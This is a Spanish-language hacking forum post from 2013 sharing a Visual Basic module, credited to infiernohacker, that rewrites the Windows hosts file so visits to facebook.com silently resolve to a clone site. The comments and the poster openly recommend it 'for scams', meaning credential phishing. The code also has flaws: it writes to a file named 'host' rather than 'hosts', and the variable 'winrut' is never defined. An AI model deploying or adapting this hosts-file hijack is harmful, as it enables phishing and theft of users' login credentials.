comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

HostEditModule by alexander1712

  • 0 Respuestas
  • 2648 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado alexander1712

  • *
  • Underc0der
  • Mensajes: 850
  • Actividad:
    0%
  • Reputación -2
    • Ver Perfil
    • El blog del programador
    • Email
« en: Enero 26, 2013, 02:58:38 am »
mirando en el baul de los recuerdos de mis codes, encontré este:

este es un modulo que nos permite hacer que al entrar a una web redirija a otra, sin mostrarnos un cambio de url, por ejemplo que al entrar a google carge infiernohacker pero siga diciendo "No tienes permisos para ver links. Registrate o Entra con tu cuenta"

nuevo proyecto exe standard, borramos el formulario principal, agregamos un modulo y pegamos este codigo:

Código: Visual Basic
  1. '###################################################################
  2. '
  3. '  ####  ####   ####   ####  ####    ##   ##     ## ##     ## #### ####
  4. '  #   # #   # #    # #      #   #  #  #  # #   # # # #   # # #    #   #
  5. '  #   # #   # #    # #      #   # #    # #  ###  # #  ###  # #    #   #
  6. '  ####  ####  #    # #  ##  ####  ###### #   #   # #   #   # #### #   #
  7. '  #     ##    #    # #    # ##    #    # #       # #       # #    #   #
  8. '  #     # #   #    # #    # # #   #    # #       # #       # #    #   #
  9. '  #     #  #   ####   ####  #  #  #    # #       # #       # #### ####
  10. '
  11. '  #####    ##    ##
  12. '  #    #    #    #
  13. '  #    #     #  #
  14. '  #####       ##
  15. '  #    #      ##
  16. '  #    #      ##
  17. '  #####      ####
  18. '
  19. ' ##    ##    #     ####  ##    ##  #####   #     ## #     ## #####  #     ##
  20. '  #    #    # #    #   #  #   #   #     #  ##    #  ##    #  #      ##    #
  21. '  #    #   #   #   #   #  #  #    #     #  # #   #  # #   #  #      # #   #
  22. '  ######   #####   ####   ###     #     #  #  #  #  #  #  #  #####  #  #  #
  23. '  #    #   #   #   ##     #  #    #     #  #   # #  #   # #  #      #   # #
  24. '  #    #   #   #   # #    #   #   #     #  #    ##  #    ##  #      #    ##
  25. ' ##    ## ##   ## ##  ## ##    ##  #####  ##     # ##     #  ##### ##     #
  26. '
  27. '#####################################################################
  28.  
  29. '###########################
  30. '#  HostEditModule         #
  31. '# programmed by harkonnen #
  32. '#    INFIERNOHACKER.COM   #
  33. '# (c) 2011                #
  34. '###########################
  35.  
  36. ' &&& detalles &&&
  37.  
  38. ' este modulo hace que al ingresar a una web desde un navegador que use el protocolo TCP/IP de windows, redirija hacia alguna otra web.
  39. ' para ello editaremos el archivo HOST de windows.
  40. ' ademas demostramos el uso de Environ para obtener el contenido de las variables de enotrno de CMD en este caso Windir
  41.  
  42. '########### constantes ########
  43. Const Initialpage1 = "facebook.com" 'pagina n° 1 a ser reemplazada
  44. 'Const initialpage2 = "hotmail.com"
  45. Const replacepage1 = "facebook.clonesweb.com" 'pagina n° 1 de reemplazo
  46. 'const replacepage2 = "hotmail.clonesweb.com"
  47.  
  48. Public Sub main() 'iniciamos programa
  49. Dim inmemory As String
  50. Dim alex As Long 'usaremos alex como una variable puntero (asi le digo yo)
  51. alex = FreeFile 'aclaramos que alex sera para libre archivo
  52.    Open winrut & "\system32\drivers\etc\host" For Input As #alex 'abrimos el archivo usando la variable alex
  53.        inmemory = Input(LOF(alex), #alex) 'cargamos en la variable inmemory lo que tenga ya el archivo
  54.    Close #alex 'cerramos e archivo que estaba habierto en la variable alex
  55. inmemory = inmemory & replacepage1 & "    " & Initialpage1 & vbCrLf 'agregamos la nueva redireccion
  56. 'inmemory = inmemory & replacepage2 & "    " & initialpage2 & vbCrLf ' la segunda redireccion
  57.    Open winrut & "\system32\drivers\etc\host" For Output As #alex 'cargamos de nuevo el archivo en la variable alex solo que esta ves para salida, borrando asi su contenido
  58.        Print #alex, inmemory 'ponemos el archivo modificado
  59.    Close #alex 'cerramos guardando todo.
  60. 'asi de simple, modificamos el archivo Host de windows XP para que al ingresar a una página redirija a otra. es bueno para scams y otras cosas...
  61. End Sub
  62.  

en el ejemplo reemplaza facebook.com por facebook.clonesweb.com xDDD sirve para scams  ::) ::) no se me hagan los lamercillos, es solo un ejemplo.

saludos!
« Última modificación: Mayo 12, 2014, 03:36:57 pm por Expermicid »

 

¿Te gustó el post? COMPARTILO!